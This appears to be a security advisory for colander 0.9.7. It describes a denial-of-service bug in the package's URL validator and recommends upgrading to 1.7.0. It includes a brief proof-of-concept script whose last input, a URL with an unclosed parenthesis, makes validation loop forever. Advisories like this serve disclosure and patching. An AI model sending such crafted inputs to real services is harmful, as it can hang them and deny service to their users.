colander@0.9.7 vulnerabilities

colander is an An extensible package which can be used to: Deserialize and validate a data structure composed of strings, mappings, and lists. Serialize an arbitrary data structure to a data structure composed of strings, mappings, and lists.

Affected versions of this package are vulnerable to Denial of Service (DoS). The URL validator allows an attacker to potentially cause an infinite loop thereby causing a Denial of Service via an unclosed parenthesis.

PoC by Przemek:

from colander import MappingSchema, SchemaNode, Str, url


class MySchema(MappingSchema):
    url = SchemaNode(Str(encoding='utf-8'), validator=url)

print MySchema().deserialize({"url": "http://www.mysite.com/tttttttttttttttttttttt.jpg"})  # it works
print MySchema().deserialize({"url": "http://www.mysite.com/(tttttttttttttttttttttt).jpg"})  # it works
print MySchema().deserialize({"url": "http://www.mysite.com/(ttttttttttt.jpg"})  # it works
print MySchema().deserialize({"url": "http://www.mysite.com/(tttttttttttttttttttttt.jpg"})  # infinite loop

Upgrade colander to version 1.7.0 or higher.